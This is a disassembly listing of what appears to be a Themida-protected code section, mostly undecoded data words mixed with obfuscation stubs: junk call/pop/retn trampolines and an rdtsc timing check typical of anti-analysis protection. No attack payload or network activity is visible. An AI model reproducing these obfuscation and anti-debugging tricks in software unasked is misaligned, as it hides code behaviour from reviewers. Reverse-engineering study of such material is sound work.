dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0D1C35545h, 0F67D38Ch
dd 1482h, 0FE900h, 9B6A0000h, 0A1835700h, 0CD410219h, 0D2F13D88h
dd 0C7DA8B98h, 1800h, 0B6E8BF00h, 0B58B74DAh, 7FDEB92h
dd 2C01B531h, 858B07FAh, 7FA0D51h, 6860Fh, 0BD8B0000h
dd 7FA294Dh, 6A0689h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1D0424h, 53430000h, 512019C3h, 8D91A5D9h, 3189813Fh
dd 0FA1EC5BDh, 10E807h, 6FD90000h, 4ADB3C08h, 3EF7736Fh
dd 2529D59Fh, 8B5B9FFFh, 0FA0FE985h, 0D88B6607h, 0E8044689h
dd 7, 4E564F22h, 0E9D593F2h, 10h, 0F948318Dh, 0A14FA3A2h
dd 63C3EA2Dh, 0C22879A1h, 0D1BF965Bh, 50273CD5h, 0CE95250h
dd 0DC000000h, 0BC068C2Eh, 93ED9E8h, 0FA7F8EBh, 0AE931h
dd 71C50000h, 51B89698h, 519C9901h, 6696585Ah, 0DF89EF81h
dd 0EB8EB5FFh, 80B707FDh, 4E8h, 1F03FF00h, 20CEBB00h, 0E9501F25h
dd 14h, 0A2AE6D1Ah, 9CC33D52h, 3B500863h, 2A0F23Dh, 0B2E211C2h
dd 424448Bh, 8BDA8Ah, 4489CEB7h, 8B580424h, 96858DFBh
dd 8007FDEBh, 0BB6649CFh, 6090DD59h, 0F811B866h, 5E9h
dd 4F7C6300h, 5061CA80h, 10E8h, 69C26A00h, 0F1DCA04Ch
dd 0D29130C3h, 9A73A4F8h, 12E908h, 15BA0000h, 3A5B8BACh
dd 7DC95E45h, 0DCABF4E1h, 0CE605F12h, 0C6BF905Bh, 0FF6D1B06h
dd 0FA1CE995h, 0D3816107h, 20EDFD5Bh, 2BD985C7h, 307FAh
dd 0BD8B0000h, 7FA1C31h, 0EB96BD83h, 0F0007FDh, 3884h
dd 0D5BD2B00h, 0E907FA25h, 48h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 79C35141h, 97E0B5F8h, 6220F408h
dd 3FE8B5Ch, 0FA0F219Dh, 0C305007h, 11440011h, 10E8C101h
dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 17h, 6CC35242h, 6AE83AC4h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 4AD6C353h
dd 600C789Ch, 2EC9BD09h, 11E807FAh, 0F9000000h, 0A6CF740Eh
dd 0C8A0B8CFh, 7E1DE3D1h, 293515DDh, 61596160h, 2BD9BD83h
dd 0F0307FAh, 40385h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 0E2AEAD4Bh, 0EF5D2B79h
dd 14E93Dh, 5D1A0000h, 3CB2D88h, 987063C4h, 0C84E4C4Fh
dd 0F0BCAE1Fh, 0BD830DEDh, 7FDEB96h, 0B9840F00h, 0FF000003h
dd 0FDEB96B5h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1404h, 0C3524200h, 0B0CB802Ch, 274595FFh
dd 0BB6607FAh, 0B58B4280h, 7FDEB8Ah, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 70C35242h, 9550E2CFh, 1545BD8Bh
dd 6C707FAh, 10001h, 68C0Fh, 0BD8B0000h, 7FA25ADh, 8820F96h
dd 0F000000h, 287h, 505B5000h, 4C18BB66h, 50006A96h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 0F3AC5D4h, 6084DBC6h, 9E8h, 0A106BB00h, 270575C6h, 5F5221A0h
dd 96B5FF5Fh, 6A07FDEBh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 0F6FC352h, 684h, 0B8666000h
dd 0FF61047Fh, 0FA18E195h, 4D8D8907h, 0BB07FA0Dh, 0AA75D2Fh
dd 0EB8AB58Bh, 6A07FDh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 59767CC3h, 1F09BD89h, 9D8B07FAh
dd 7FA0AF1h, 6830Fh, 85010000h, 7FA015Dh, 1C7D858Bh, 11E907FAh
dd 0E000000h, 0DD5D2141h, 3CD04A32h, 0B3D85C43h, 0C4AED767h
dd 29D1BD8Bh, 868907FAh, 0C4h, 6E9h, 89128E00h, 8B397E61h
dd 0FA1CD995h, 0E1858907h, 8307FA02h, 0F6B304C2h, 6A205089h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 0D5B6C353h, 7BA2A10Ah, 73D2E8Fh, 0F890Fh
dd 0AE90000h, 0E4000000h, 0B76CF2B1h, 0DDED8028h, 0D78166C2h
dd 858D348Ah, 7FDFEF7h, 868933B3h, 0B8h, 0BE9h, 5DECEE00h
dd 752E773Ah, 7A31ADDh, 810F006Ah, 2, 0B5FFDE8Bh, 7FDEB96h
dd 651ADBFh, 9595FF28h, 6607FA1Ch, 78DC381h, 0BE996h, 27AA0000h
dd 0DC79FDDFh, 896A0058h, 0BF6650A9h, 6A96CC42h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 261CC352h, 0CD3E3598h
dd 0B58914AFh, 7FA3139h, 0EB96B5FFh, 0B53107FDh, 7FA08A1h
dd 1D9595FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 9D2B66C3h, 7FA2A31h, 131BD83h, 0F0007FAh
dd 2E84h, 3721BF00h, 60502D2Bh, 68F0Fh, 8E0F0000h, 0
dd 0EE8h, 0E0D5E400h, 0F7FD25F7h, 0DF956C98h, 66E81E5Bh
dd 615FC38Bh, 0FF243489h, 0FDEB96B5h, 1D852907h, 0FF07FA2Dh
dd 0FA1CB595h, 0A820F07h, 60000000h, 0D681CF8Bh, 3E201C00h
dd 96B5FF61h, 8B07FDEBh, 0FA20BDBDh, 11E807h, 1B460000h
dd 0C9940CCEh, 0D86AB99Bh, 534C2201h, 66168316h, 0FF5FF98Bh
dd 0FA21AD95h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 0F73B7BDh, 0BD83DABFh
dd 7FA2221h, 6C840F02h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0D3ACC355h
dd 2CE70B87h, 858BEA72h, 7FA1615h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 19h, 0CBC35040h, 0B6272BDBh, 0C649h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0DDC35242h
dd 0C7DF8B1Ah, 0FA16DD85h, 7, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0EABFF2E2h
dd 0A5EC56FDh, 0FFF3DAE9h, 55006AFFh, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 9D0B82B4h
dd 7FA2E99h, 8B66C18Bh, 99858DD9h, 6A07FA01h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 0FC32C352h, 501FB390h, 0EF5C76BFh, 14E99013h, 0A6000000h
dd 0A712945Fh, 0E97E9124h, 0AA44A6C2h, 0CE9DB09Dh, 6A4FD2DEh
dd 6830F00h, 89000000h, 0FA0E198Dh, 0F8BF0F07h, 6A006Ah
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 9373CBC3h, 0C98160E4h, 556106E9h, 8E9h, 66D37D00h, 0BA4332ACh
dd 0F38161CBh, 46BC04AFh, 19E1858Dh, 12E907FFh, 0B5000000h
dd 9CBF54C3h, 4DAD58DFh, 29181CEBh, 48AEF3A2h, 952960ACh
dd 7FA15E9h, 8361C28Ah, 6A05C0h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 57533BC3h, 6690C41Ch
dd 9050FE8Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 7EC35141h, 66990C49h, 0BCB7F98Bh, 6A006Ah, 3E850h
dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 0DFA4D4C3h, 800FBBD0h, 0Ah, 5958B60h, 5707FA0Dh, 6A615Ah
dd 11E8h, 7AD3F100h, 421FCCE4h, 0A4676AFEh, 0C7B50980h
dd 66573792h, 5B5BF88Bh, 2BE995FFh, 0BD8B07FAh, 7FA259Dh
dd 12E9h, 0D52E1700h, 38EAE0B2h, 0B51D7843h, 11DF2BF3h
dd 8D52C7F5h, 0FDD7118Dh, 56006A07h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0D55EF98Ch
dd 0BD8B0EE2h, 7FA078Dh, 7D9D8B50h, 5F07FA0Eh, 0BB66D1FFh
dd 0BD83D026h, 7FA33EDh, 57850F01h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 94D3C353h, 26A5DE6h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 4DC35545h, 0F215C894h, 0DA8B6650h, 0BB240489h
dd 77B0A3Ch, 1C9595FFh, 0BB6607FAh, 1BE9A329h, 0E800000Eh
dd 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 7FF19EBh
push 0
push ebx
call sub_5D4E3E
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D4E3E proc near ; CODE XREF: Themida_:005D4E36p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5D4E3E endp
; ---------------------------------------------------------------------------
dw 0C90Fh
dd 3518A3Ch, 0ECB36F0Ah, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 14h, 4CC35141h, 4BC78166h, 59858DB9h, 6A07FDB9h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h
dd 43000000h, 0C8C4C353h, 8C30A825h, 0F2504E0h, 681h, 60DB8100h
dd 9018330Ah, 56505B56h, 905BD88Bh, 2B798529h, 616007FAh
dd 35FF64h, 81000000h, 21939DF7h, 2589642Fh, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5D4EDF
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D4EDF proc near ; CODE XREF: Themida_:005D4ED7p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_5D4EDF endp
; ---------------------------------------------------------------------------
db 61h
dd 0C13A4FD6h, 890F66h, 0FF000000h, 0FA104985h, 53006A07h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 0D6105EFAh, 0F5A39068h, 6820F01h, 0B000000h, 0FA0E299Dh
dd 0E9FF6A07h, 0Dh, 27A4DC05h, 0C2318729h, 0C4EC879Eh
dd 0EDB5FFBAh, 0FF07FA28h, 0FA287595h, 152E907h, 880F0000h
dd 6, 3175BD89h, 0B007FAh, 0E6FE8B66h, 759D8B70h, 0E407FA25h
dd 0D4F38171h, 3C77DC01h, 29830F61h, 0F000001h, 0B60FD8B7h
dd 41BD2BC8h, 0E807FA2Fh, 0Fh, 0B71A89DDh, 6A92C0F6h, 9199ACE3h
dd 0F425219h, 80h, 6BA5B00h, 0E9000000h, 14h, 18C70BA7h
dd 0D61F80EAh, 46B24BADh, 0DFCA891h, 176C524Bh, 0AE8C18Bh
dd 81000000h, 88381987h, 0A988F9BEh, 7E8C3h, 0E9750000h
dd 7743C5CFh, 0C15B5F41h, 0B50904E8h, 7FA1D25h, 81E2F766h
dd 0A49720CFh, 8AC82B50h, 89D18BFDh, 0FA1BE1B5h, 0A2E907h
dd 8B570000h, 0FA21D5BDh, 858B5F07h, 5F4C4C44h, 0C083C2B7h
dd 58F0F07h, 66000000h, 5F9FDF81h, 0C083DA8Bh, 13E85600h
dd 0E6000000h, 720D4DC7h, 0D6DA2821h, 53200BF2h, 0A9B049EAh
dd 0C3816B1Bh, 5F45A176h, 830F5F5Bh, 3, 3BDFBF0Fh, 18830FD0h
dd 89000000h, 0FA155185h, 2DDFBB07h, 3DE918D8h, 50000000h
dd 91BD33h, 8B5F07FAh, 0FFFFFF8Dh, 9D9589FFh, 8307FA0Bh
dd 840F01E1h, 20h, 0A583F88Bh, 0FFFFFFFFh, 0E5BD8BFEh
dd 8907FA00h, 4C4C4495h, 0A99D8B5Fh, 0E907FA29h, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+7FE9429h]
mov bl, 0F8h
push 0
push 0
push esi
call sub_5D50BD
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D50BD proc near ; CODE XREF: Themida_:005D50B5p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_5D50BD endp
; ---------------------------------------------------------------------------
db 0E7h, 0DDh, 44h
dd 0FFFBBF0Fh, 0FA101995h, 8E807h, 95100000h, 0CD0BA59Bh
dd 0C781473Ah, 62DF8E04h, 0F86B95Fh, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 140424h, 52420000h, 0AE9CCC3h
dd 0A8000000h, 0F85C6390h, 6E7069BEh, 0FCE183F0h, 1895BD8Bh
dd 816607FAh, 0FCB780EBh, 11E960FCh, 0BA000000h, 804892FEh
dd 65C51CDh, 0C127CC0Ch, 33B55D49h, 25BD9529h, 0B86107FAh
dd 0
; ---------------------------------------------------------------------------
mov bx, ax
mov edx, 0
sub [ebp+7FA0B9Dh], eax
loc_5D515E: ; CODE XREF: Themida_:005D5168j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5D515E
push 0
push edx
call sub_5D5175
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D5175 proc near ; CODE XREF: Themida_:005D516Dp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5D5175 endp
; ---------------------------------------------------------------------------
dec ebx
test [esi-4Dh], ebp
cmp eax, 6F605BAh
sub [ebp+7FA353Dh], edx
push 0
push ecx
call sub_5D519F
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D519F proc near ; CODE XREF: Themida_:005D5197p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_5D519F endp
; ---------------------------------------------------------------------------
db 67h
dd 0EDBD89CDh, 0D07FA01h, 88h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 36C35242h, 784922ACh, 62E7B133h
dd 55858969h, 8B07FA17h, 0FA281D9Dh, 0D9958B07h, 6A07FA1Ch
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h
dd 40000000h, 8457C350h, 978D792Ch, 9D8B0A8Fh, 7FA0821h
dd 2299BD8Bh, 8D8B07FAh, 7FA31ADh, 820Fh, 8B500000h, 3188BC2h
dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 0E4C35343h, 0B6B2DB84h, 3DB40CEEh
dd 6009CB81h, 6A1BDDh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 83030CC3h, 0FA2A29BDh, 840F0007h
dd 6Dh, 0A58D8B60h, 8B07FA01h, 0FA113DBDh, 0B86107h, 8B000000h
dd 0FA26FD9Dh, 668D8D07h, 6A07FA4Fh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8BF7C355h
dd 8B6660F8h, 0C9B866F3h, 0E1FF61FEh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 18h, 3C35343h, 8CFC99A1h, 68E78166h
dd 0D9BD8336h, 7FA2Bh, 3CA840Fh, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0D57516C3h
dd 5E00CCD7h, 8B8AAC5Eh, 0FA1759BDh, 0D9BD8307h, 107FA2Bh
dd 3AD840Fh, 0BD830000h, 7FA2BD9h, 6A860F03h, 8B000003h
dd 0FA179D9Dh, 66FC6007h, 6AD98Ch, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 950129C3h, 7FA15E5h
dd 0A04E180h, 36840FC9h, 9000001h, 0FA3129B5h, 0E9858B07h
dd 307FA0Fh, 0FA14D1BDh, 0E1853307h, 2B07FA15h, 0FA1EA59Dh
dd 8A509007h, 6A90FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1C0424h, 52420000h, 0F9DB61C3h, 0DE08B43h, 9D09C167h
dd 7FA08CDh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 0EB7B4EC3h, 8945CEF2h, 0FA02F195h
dd 5D9D8907h, 0E807FA0Ah, 4, 1F03FFh, 128C0Fh, 0E8560000h
dd 0Ah, 0E63F7C33h, 2F28BCC6h, 5B5F26C8h, 8BD88B50h, 66042444h
dd 8BD98Bh, 807EBF66h, 4244489h, 48D0Fh, 0BB660000h, 6A5885D1h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h
dd 41000000h, 661EC351h, 85899AC1h, 7FA06F1h, 840F56h
dd 5F000000h, 20F38166h, 0E995FFD7h, 0F807FA1Ch, 89FEB70Fh
dd 0FDEB9685h, 58D2907h, 6607FA2Bh, 0BC2BDB81h, 1BFE9h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h
dd 0C3534300h, 813A0F7Eh, 9D29597Eh, 7FA0CDDh, 8E858BFCh
dd 6A07FDEBh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 0CD68C350h, 0DB960D29h, 1800C7h
dd 0B58B0000h, 7FDEB92h, 0BE8h, 0EA8E3900h, 0FEAB0E26h
dd 2DDD8611h, 2EE18D89h, 8B5F07FAh, 0FA0D5185h
db 7, 6Ah
; ---------------------------------------------------------------------------
loc_5D5512: ; CODE XREF: ___:00511300J
add [ebx-18h], dl
add eax, [eax]
; ---------------------------------------------------------------------------
db 0
dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 8947E333h, 89D98B06h, 0FA2EAD95h, 0E9858B07h, 0F07FA0Fh
dd 68Fh, 880F00h, 89000000h, 8D310446h, 7FA2289h, 0B899D8Bh
dd 8B9607FAh, 525050DAh, 8E857h, 0CC410000h, 3E63AA4Ah
dd 5B5BB9D3h, 860F310Fh, 0Bh, 5E8h, 9365F200h, 5A5FF4F6h
dd 0D3819658h, 0F761980h, 0EB8EB5FFh, 6A07FDh, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 0F59934C3h, 0AC19D8Bh, 0C66807FAh, 0E980F522h, 0Bh
dd 1884117h, 0E3D66D72h, 81AEEFF8h, 0E1392404h, 6A7F29h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 0E106FBC3h, 2DBD8B2Fh, 8D07FA2Ch, 0FDEB9685h, 50006A07h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 3E390603h, 66525050h, 310FF88Bh, 407991BBh, 89585A6Ah
dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 67A3BAC3h, 0E995FF07h, 0BB07FA1Ch, 18382BFDh
dd 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 861ED1BDh, 89A6A51Ch, 0FA1829B5h, 0D985C707h
dd 307FA2Bh, 0E9000000h, 12h, 3CA8D13Fh, 1C5A47FBh, 119E8439h
dd 0EEE8BB26h, 0BD837A4Eh, 7FDEB96h, 0E840F00h, 89000000h
dd 0FA11C985h, 1EE907h, 0BF0F0000h, 0C3050FBh, 11440011h
dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h
dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h
dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 68C35747h, 67495B50h, 8D8B6053h
dd 7FA1575h, 25118D09h, 5F6107FAh, 6AF98B66h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 9FFDC356h, 34499D8Bh, 0BD8307FAh, 7FA2BD9h, 0B1850F03h
dd 6A000004h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 17042444h, 41000000h, 0C98C351h, 0B589C63Eh, 7FA0B3Dh
dd 96BD83F8h, 7FDEBh, 47E840Fh, 0B5FF0000h, 7FDEB96h, 2C959D8Bh
dd 95FF07FAh, 7FA2745h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 7AC35242h, 0FF9E2AF4h, 0E876641Eh, 0Bh
dd 0A8B9F941h, 0AD554254h, 99E4A08h, 0FA1D09B5h, 0B58B5B07h
dd 7FDEB8Ah, 5E960h, 93280000h, 6126A84Bh, 68B0Fh, 0BD890000h
dd 7FA2C45h, 106C7h, 8D090001h, 7FA34F9h, 0EAEFCB81h, 0E896322Eh
dd 0Ah, 6D30AFE9h, 874EE59Ch, 0BB662EDCh, 505F0AACh, 0F30C6EBFh
dd 0BF66961Ah, 0B5FF465Ah, 7FDEB96h, 21A99D8Bh, 95FF07FAh
dd 7FA18E1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 78C35747h, 0FBAB3BDh, 683h, 59858900h, 8B07FA2Ah
dd 8AB58BFBh, 6A07FDEBh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 3854C356h, 8B81213Dh
dd 0FA1C7D85h, 51006A07h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1604h, 0C3514100h, 66943000h, 89F678BFh
dd 0C486h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 9D659CEDh, 0FE9CC51h, 6A000000h
dd 15D6F77Bh, 5F14ACF0h, 39C21AF2h, 958BDCB2h, 7FA1CD9h
dd 2BDDBD89h, 0C28307FAh, 56006A04h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0A52C5003h
dd 4688D076h, 0CE9h, 0F2E70100h, 88522FF2h, 6D85E878h
dd 205089DFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 15h, 93C35747h, 599D8B92h, 8D07FA27h, 0FDFEF785h, 8B665307h
dd 86895BDAh, 0B8h, 6ADE8Bh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 32C35141h, 0CC7AEBC3h, 0F2358D5h
dd 0FD8B70Fh, 681h, 0D1B50100h, 0FF07FA16h, 0FDEB96B5h
dd 0EDB52907h, 0FF07FA2Bh, 0FA1C9595h, 51006A07h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 5E2C53E2h, 8934CFD2h, 0FA1DED95h, 8E99607h, 0FA000000h
dd 1DD30243h, 5050BB6Eh, 3880Fh, 8B660000h, 605696DEh
dd 26B5B58Bh, 880F07FAh, 0
; ---------------------------------------------------------------------------
popa
pop edi
push dword ptr [ebp+7FDEB96h]
xor [ebp+7FA2689h], edi
call dword ptr [ebp+7FA1D95h]
push 0
push eax
call sub_5D5A3B
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D5A3B proc near ; CODE XREF: Themida_:005D5A33p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_5D5A3B endp
; ---------------------------------------------------------------------------
mov eax, 0EC4A469Dh
cmp dword ptr [ebp+7FA0131h], 0
jz loc_5D5B18
push 0
push edi
call sub_5D5A68
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D5A68 proc near ; CODE XREF: Themida_:005D5A60p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_5D5A68 endp
; ---------------------------------------------------------------------------
db 90h
db 5Eh, 2Eh, 5Eh
dd 3147B87Ch, 10E8h, 7367CF00h, 2FBD90Fh, 4F5E135Bh, 0CCFA82B2h
dd 178E0F55h, 0E9000000h, 12h, 0BCCE8B11h, 0CC847790h
dd 0D53D44BFh, 52E271CFh, 0E95F7C7Dh, 0Ah, 4849D208h, 0A7348F61h
dd 8B966126h, 525050F8h, 0BDB86660h, 6159568Ch, 0E960310Fh
dd 14h, 95DF8F92h, 0A0D26940h, 0B1D03522h, 6DEA4F06h, 5EA584BEh
dd 5A61F38Bh, 6A9658h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 0D8200AC3h, 9D2B24B7h, 7FA34A1h
; ---------------------------------------------------------------------------
loc_5D5B18: ; CODE XREF: Themida_:005D5A57j
push dword ptr [ebp+7FDEB96h]
mov ebx, [ebp+7FA0EF1h]
call dword ptr [ebp+7FA1CB5h]
push 0
push ecx
call sub_5D5B35
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D5B35 proc near ; CODE XREF: Themida_:005D5B2Dp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5D5B35 endp
; ---------------------------------------------------------------------------
cmp al, [edi]
fimul dword ptr [ebx-3A40C967h]
lodsd
movlps qword ptr [eax-77h], xmm4
xchg eax, ebp
std
add bh, dl
pop es
mov esi, ecx
popa
mov ebx, [ebp+7FA255Dh]
push dword ptr [ebp+7FDEB96h]
jnz loc_5D5B71
xor bx, 21F3h
loc_5D5B71: ; CODE XREF: Themida_:005D5B66j
call dword ptr [ebp+7FA21ADh]
push 0
push ebp
call sub_5D5B82
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D5B82 proc near ; CODE XREF: Themida_:005D5B7Ap
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5D5B82 endp
; ---------------------------------------------------------------------------
mov ds:0F8B9A9AEh, al
jnz short near ptr loc_5D5B9F+1
sub [ebp+7FA31DDh], ecx
loc_5D5B9F: ; CODE XREF: Themida_:005D5B97j
xor [ebp+7FA1711h], edi
cmp dword ptr [ebp+7FA2221h], 2
jz loc_5D5C15
push 0
push esi
call sub_5D5BBD
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D5BBD proc near ; CODE XREF: Themida_:005D5BB5p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_5D5BBD endp
; ---------------------------------------------------------------------------
db 0ACh, 47h, 35h
dd 0B7E2E1E3h, 8BDF8B3Ah, 0FA161585h, 0BE807h, 82260000h
dd 0D008E3E6h, 954A396Ah, 0F381668Dh, 0C65BC1C8h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 461CB9C3h
db 0EBh
; ---------------------------------------------------------------------------
loc_5D5C15: ; CODE XREF: Themida_:005D5BACj
mov dword ptr [ebp+7FA16DDh], 0
add di, 358Bh
jmp near ptr dword_5D4EF0+41h
; ---------------------------------------------------------------------------
jmp loc_5D5C38
; ---------------------------------------------------------------------------
dw 0EF24h
dd 0C92E63DAh, 2374422Dh
; ---------------------------------------------------------------------------
loc_5D5C38: ; CODE XREF: Themida_:005D5C29j
mov eax, ecx
mov bx, ax
add bx, 0F802h
lea eax, [ebp+7FA0199h]
jle $+6
push eax
push eax
push edx
mov bx, 0FC58h
rdtsc
pusha
mov esi, 5A998768h
popa
pop edx
pop eax
mov [esp], eax
push 0
push esi
call sub_5D5C6E
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D5C6E proc near ; CODE XREF: Themida_:005D5C66p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_5D5C6E endp
; ---------------------------------------------------------------------------
dw 0D35Fh
; ---------------------------------------------------------------------------
enter 0FFFFD0EAh, 1Ch
xor [ebp+7FA0205h], ebx
push 0
mov bh, 39h
mov [ebp+7FA1C79h], ebx
push 0
push 0
push eax
call sub_5D5CA1
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D5CA1 proc near ; CODE XREF: Themida_:005D5C99p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5D5CA1 endp
; ---------------------------------------------------------------------------
jle short near ptr loc_5D5CC5+3
enter 188Ch, 0B9h
mov ecx, 6623CCE8h
mov edi, 0BD8BAD67h
jns short loc_5D5CE9
cli
pop es
